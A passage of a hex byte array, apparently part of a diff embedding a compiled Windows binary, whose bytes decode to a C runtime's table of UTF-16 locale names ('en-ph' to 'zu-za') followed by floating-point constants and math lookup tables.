0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x70, 0x00, + 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x74, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x75, 0x00, 0x73, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x7a, 0x00, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x7a, 0x00, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x62, 0x00, + 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x63, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x65, 0x00, + 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x67, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x68, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6d, 0x00, + 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x6e, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x61, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x70, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x70, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x73, 0x00, + 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x75, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x76, 0x00, 0x65, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x65, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x75, 0x00, + 0x2d, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x66, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x72, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x66, 0x00, + 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x6f, 0x00, + 0x2d, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x65, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x72, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x6d, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x67, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x67, 0x00, 0x75, 0x00, 0x2d, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x62, 0x00, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x68, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x00, 0x75, 0x00, 0x2d, 0x00, 0x68, 0x00, 0x75, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x79, 0x00, 0x2d, 0x00, 0x61, 0x00, + 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x64, 0x00, + 0x2d, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x69, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x73, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x74, 0x00, + 0x2d, 0x00, 0x69, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6a, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x6a, 0x00, 0x70, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x67, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x6b, 0x00, + 0x2d, 0x00, 0x6b, 0x00, 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6b, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x6f, 0x00, 0x6b, 0x00, 0x2d, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x6f, 0x00, + 0x2d, 0x00, 0x6b, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6b, 0x00, 0x79, 0x00, 0x2d, 0x00, 0x6b, 0x00, 0x67, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x76, 0x00, + 0x2d, 0x00, 0x6c, 0x00, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6d, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x7a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x6b, 0x00, 0x2d, 0x00, 0x6d, 0x00, + 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x6c, 0x00, + 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6d, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x62, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6d, 0x00, + 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x62, 0x00, + 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6e, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x65, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x6e, 0x00, + 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6e, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x6c, 0x00, + 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x72, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x70, 0x00, + 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, + 0x7a, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x71, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x63, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, + 0x70, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x00, 0x6f, 0x00, + 0x2d, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x72, 0x00, 0x75, 0x00, 0x2d, 0x00, 0x72, 0x00, 0x75, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x73, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6b, 0x00, + 0x2d, 0x00, 0x73, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x69, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x61, 0x00, 0x2d, 0x00, + 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, + 0x61, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x6d, 0x00, 0x6a, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x6a, 0x00, 0x2d, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, + 0x6e, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x71, 0x00, 0x2d, 0x00, 0x61, 0x00, + 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x62, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x62, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x73, 0x00, 0x70, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x73, 0x00, 0x70, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x76, 0x00, + 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x76, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x77, 0x00, 0x2d, 0x00, 0x6b, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x74, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x68, 0x00, + 0x2d, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x74, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x74, 0x00, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x74, 0x00, + 0x2d, 0x00, 0x72, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x75, 0x00, 0x6b, 0x00, 0x2d, 0x00, 0x75, 0x00, 0x61, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x70, 0x00, + 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x7a, 0x00, + 0x2d, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x7a, 0x00, + 0x2d, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x00, 0x69, 0x00, + 0x2d, 0x00, 0x76, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x68, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x68, 0x00, + 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, + 0x2d, 0x00, 0x6d, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x67, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x74, 0x00, + 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x75, 0x00, + 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0xe5, 0x26, 0x15, + 0x7b, 0xcb, 0xdb, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0xcb, 0xdb, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x35, 0x95, 0x71, 0x28, 0x37, 0xa9, 0xa8, 0x3e, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, + 0x13, 0x44, 0xd3, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x25, 0x3e, 0x62, 0xde, 0x3f, 0xef, 0x03, 0x3e, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x60, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xd5, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0xc9, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xc5, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xf8, 0x8f, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xfd, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xee, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe6, 0x54, 0x55, 0x55, 0x55, 0x55, 0xb5, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd4, 0xc6, 0xba, 0x99, 0x99, 0x99, 0x89, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9f, 0x51, 0xf1, 0x07, + 0x23, 0x49, 0x62, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0xff, 0x5d, 0xc8, 0x34, 0x80, 0x3c, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, + 0x9e, 0xbd, 0x5b, 0x3f, 0x00, 0x00, 0x00, 0x70, 0xd4, 0xaf, 0x6b, 0x3f, + 0x00, 0x00, 0x00, 0x60, 0x95, 0xb9, 0x74, 0x3f, 0x00, 0x00, 0x00, 0xa0, + 0x76, 0x94, 0x7b, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x4d, 0x34, 0x81, 0x3f, + 0x00, 0x00, 0x00, 0x50, 0x08, 0x9b, 0x84, 0x3f, 0x00, 0x00, 0x00, 0xc0, + 0x71, 0xfe, 0x87, 0x3f, 0x00, 0x00, 0x00, 0x80, 0x90, 0x5e, 0x8b, 0x3f, + 0x00, 0x00, 0x00, 0xf0, 0x6a, 0xbb, 0x8e, 0x3f, 0x00, 0x00, 0x00, 0xa0, + 0x83, 0x0a, 0x91, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0xb5, 0xb5, 0x92, 0x3f, + 0x00, 0x00, 0x00, 0x50, 0x4f, 0x5f, 0x94, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x53, 0x07, 0x96, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xc3, 0xad, 0x97, 0x3f, + 0x00, 0x00, 0x00, 0xf0, 0xa4, 0x52, 0x99, 0x3f, 0x00, 0x00, 0x00, 0x20, + 0xf9, 0xf5, 0x9a, 0x3f, 0x00, 0x00, 0x00, 0x70, 0xc3, 0x97, 0x9c, 0x3f, + 0x00, 0x00, 0x00, 0xa0, 0x06, 0x38, 0x9e, 0x3f, 0x00, 0x00, 0x00, 0xb0, + 0xc5, 0xd6, 0x9f, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x01, 0xba, 0xa0, 0x3f, + 0x00, 0x00, 0x00, 0x20, 0xe1, 0x87, 0xa1, 0x3f, 0x00, 0x00, 0x00, 0xc0, + 0x02, 0x55, 0xa2, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0x67, 0x21, 0xa3, 0x3f, + 0x00, 0x00, 0x00, 0x90, 0x11, 0xed, 0xa3, 0x3f, 0x00, 0x00, 0x00, 0x80, + 0x01, 0xb8, 0xa4, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0x38, 0x82, 0xa5, 0x3f, + 0x00, 0x00, 0x00, 0x10, 0xb9, 0x4b, 0xa6, 0x3f, 0x00, 0x00, 0x00, 0x40, + 0x83, 0x14, 0xa7, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0x98, 0xdc, 0xa7, 0x3f, + 0x00, 0x00, 0x00, 0xd0, 0xfa, 0xa3, 0xa8, 0x3f, 0x00, 0x00, 0x00, 0xc0, + 0xaa, 0x6a, 0xa9, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xa9, 0x30, 0xaa, 0x3f, + 0x00, 0x00, 0x00, 0x20, 0xf9, 0xf5, 0xaa, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x9a, 0xba, 0xab, 0x3f, 0x00, 0x00, 0x00, 0x90, 0x8d, 0x7e, 0xac, 0x3f, + 0x00, 0x00, 0x00, 0x10, 0xd5, 0x41, 0xad, 0x3f, 0x00, 0x00, 0x00, 0xa0, + 0x71, 0x04, 